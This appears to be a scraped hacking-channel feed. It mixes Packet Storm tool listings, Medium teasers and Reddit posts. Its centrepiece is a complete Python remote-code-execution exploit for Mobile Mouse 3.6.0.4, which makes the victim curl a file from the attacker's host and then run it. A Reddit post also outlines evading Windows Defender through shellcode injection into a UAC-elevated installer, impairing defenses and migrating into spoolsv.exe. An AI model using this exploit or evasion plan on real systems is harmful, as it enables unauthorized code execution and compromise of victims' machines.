Exploit Collector
cryptmount Filesystem Manager 6.0

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
cryptmount is a utility for creating and managing secure filing systems on GNU/Linux systems. After initial setup, it allows any user to mount or unmount filesystems on demand, solely by providing the decryption password, with any system devices needed to access the filing system being configured automatically. A wide variety of encryption schemes (provided by the kernel dm-crypt system and the libgcrypt library) can be used to protect both the filesystem and the access key. The protected filing systems can reside in either ordinary files or disk partitions. The package also supports encrypted swap partitions, and automatic configuration on system boot-up.

SHA-256 | 86528a9175e1eb53f60613e3c3ea6ae6d69dbfe5ac2b53b2f58ba0f768371e7e

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nmap Port Scanner 7.93

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
Nmap is a utility for port scanning large networks, although it works fine for single hosts. Sometimes you need speed, other times you may need stealth. In some cases, bypassing firewalls may be required. Not to mention the fact that you may want to scan different protocols (UDP, TCP, ICMP, etc.). Nmap supports Vanilla TCP connect() scanning, TCP SYN (half open) scanning, TCP FIN, Xmas, or NULL (stealth) scanning, TCP ftp proxy (bounce attack) scanning, SYN/FIN scanning using IP fragments (bypasses some packet filters), TCP ACK and Window scanning, UDP raw ICMP port unreachable scanning, ICMP scanning (ping-sweep), TCP Ping scanning, Direct (non portmapper) RPC scanning, Remote OS Identification by TCP/IP Fingerprinting, and Reverse-ident scanning. Nmap also supports a number of performance and reliability features such as dynamic delay time calculations, packet timeout and retransmission, parallel port scanning, detection of down hosts via parallel pings.

SHA-256 | 2b6f736f4ac5ddb55962af13ec96274ec12dd2447e74f28ffd89ebae47abcc1e

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Mobile Mouse 3.6.0.4 Remote Code Execution

https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
Mobile Mouse version 3.6.0.4 suffers from a remote code execution vulnerability.

SHA-256 | 2509530b624f14ddbe319dfa5afe878c807b92ada8714c91def25fbb67763a6e

Download
# Exploit Title: Mobile Mouse 3.6.0.4 Remote Code Execution
# Date: Aug 09, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://mobilemouse.com/
# Software Link: https://www.mobilemouse.com/downloads/setup.exe
# Version: 3.6.0.4
# Tested on: Windows 10 Enterprise LTSC Build 17763

#!/usr/bin/env python3

import socket
from time import sleep
import argparse

help = " Mobile Mouse 3.6.0.4 Remote Code Execution "
parser = argparse.ArgumentParser(description=help)
parser.add_argument("--target", help="Target IP", required=True)
parser.add_argument("--file", help="File name to Upload")
parser.add_argument("--lhost", help="Your local IP", default="127.0.0.1")

args = parser.parse_args()

host = args.target
command_shell = args.file
lhost = args.lhost
port = 9099 # Default Port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

CONN = bytearray.fromhex("434F4E4E4543541E1E63686F6B7269
68616D6D6564691E6950686F6E651E321E321E04")
s.send(CONN)
run = s.recv(54)

RUN = bytearray.fromhex("4b45591e3131341e721e4f505404")
s.send(RUN)
run = s.recv(54)

sleep(0.5)

download_string= f"curl http://{lhost}:8080/{command_shell} -o
c:\Windows\Temp\{command_shell}".encode('utf-8')
hex_shell = download_string.hex()
SHELL = bytearray.fromhex("4B45591E3130301E" + hex_shell + "1E04" +
"4b45591e2d311e454e5445521e04")
s.send(SHELL)
shell = s.recv(96)

print ("Executing The Command Shell...")
sleep(5)
RUN2 = bytearray.fromhex("4b45591e3131341e721e4f505404")
s.send(RUN2)
run2 = s.recv(54)
sleep(0.8)
shell_string= f"c:\Windows\Temp\{command_shell}".encode('utf-8')
hex_run = shell_string.hex()
RUN3 = bytearray.fromhex("4B45591E3130301E" + hex_run + "1E04" +
"4b45591e2d311e454e5445521e04")
s.send(RUN3)
run3 = s.recv(96)

print (" Take The Rose")

sleep(50)
s.close()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking Web Applications

https://cdn-images-1.medium.com/max/817/1*mY4A2SH8fN19DQhnW9TP5w.png
Web Application

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TikTok niega violación de datos que supuestamente expuso la información de más de 2 mil millones de…

https://cdn-images-1.medium.com/max/1716/0*Dm1XHeZSuda7nR8Q
El popular servicio de video social de formato corto TikTok negó los informes de que fue violado por un grupo de piratas informáticos…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 25 Cyber Security Newsletters

Periodic cyber security newsletters that capture the latest news, summaries of conference talks, research, best practices, tools, events…

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
ArtMoney — Get Unlimited Lives to Win the Game

https://cdn-images-1.medium.com/max/1280/0*j5-B8jY-PWy4cDPm
ArtMoney is a cheating software that changes the hex values of numbers in video games. It uses the same formulas used by game developers…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is The Root Cause of Ransomware Attacks?

https://cdn-images-1.medium.com/max/2240/1*5WUhJAAHwf3EpKIaFl08jw.png
Do you know what is the root cause of the majority of ransomware attacks? It is the error in the configurations in the systems and devices…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Burner phones

Excuse my ignorance but why are burner phones trashed? I understand the concept of it. It’s usually a flip phone that is used a few times times to communicate a few times before disposed because they are inexpensive and virtually unhackable. Why wouldn’t they just take the SIM out and get a new one?

I’ve done my research and found out how cellphone signals are triangulated. SIM cards can also carry information and can provide the IMEI from a phone to cellular carriers. Most tracking and hacking is done on smartphone these days. What are the chances of government agencies keeping tabs on that IMEI to see if it reconnects to a specific carrier?

In terms of the phone I understand that the IMEI is programmed into the phone and the numbers come off a database that can identify the phone manufacture and model. I wondered why isn’t there a tool that can spoof IMEI numbers into believing it’s another phone model that is currently not in use. I know each phone processor is different and they all use a different set of instructions so maybe a universal tool is not viable but say only for a specific phone brand or model.

Is such tool possible to create? And also why can’t people just swap out SIM cards?

Didn’t know where else to post I’ve just been curious for a long time.

submitted by /u/FapTapAnon
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How accounts are cracked? (netflix,spotify,...)

Just as the title says, how cracks work in term of cracking accounts like spotify,netflix...

submitted by /u/Joe-seph002
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Think this would work? (evasive malware lab dabbling)

So for the past few weeks, I've been playing with making windows defender evasive shellcode loaders to get initial access to my windows 10 lab environment.

My payloads can get me initial access, but I'm walled in behind UAC and windows defender can still catch me if I try to sneak in more tools (e.g. winpeas, mimikatz, lazagne...you know, stuff you'd want to test in an engagement).

I know I can impair defenses (both defender and future UAC use) if I can get UAC-elevated access to powershell, but currently I can't.

my idea for how I could do this:

1) bind my payload to an installer that needs UAC elevation to run and installs a large program that takes forever to complete installation for.

2) payload injects shellcode into the UAC-elevated installer process

3) immediately on getting the shell, impair defenses.

4) migrate my shell to something more stable like spoolsv.exe or some other trivial but always on service.

5) ?????

6) do hacker shit with defenses impaired.

Does this sound like it would work, or is there something better I could be doing?

submitted by /u/_vercingtorix_
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

eJPT info
https://www.reddit.com/r/Pentesting/comments/x6pkbe/ejpt_info/

Hello. I would like to get the eJPT exam voucher. I have already followed the entire preparation course + all the labs. Can anyone who took the exam tell me what kind of questions they received? And how was the laboratory set up (2 reachable machines, 1 reachable machine and 1 needs rotation ...)? submitted by /u/edoardottt (https://www.reddit.com/user/edoardottt)
[link] (https://www.reddit.com/r/Pentesting/comments/x6pkbe/ejpt_info/) [comments] (https://www.reddit.com/r/Pentesting/comments/x6pkbe/ejpt_info/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
[PT] — Caso de Uso → Pivoting

https://cdn-images-1.medium.com/max/979/1*jT96sbHXIdLwD9kdJO8Lzg.png
Estarei mostrando a resolução de um desafio de um Lab da INE (Clique aqui para ver o treinamento) que envolve os tópicos abaixo:

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video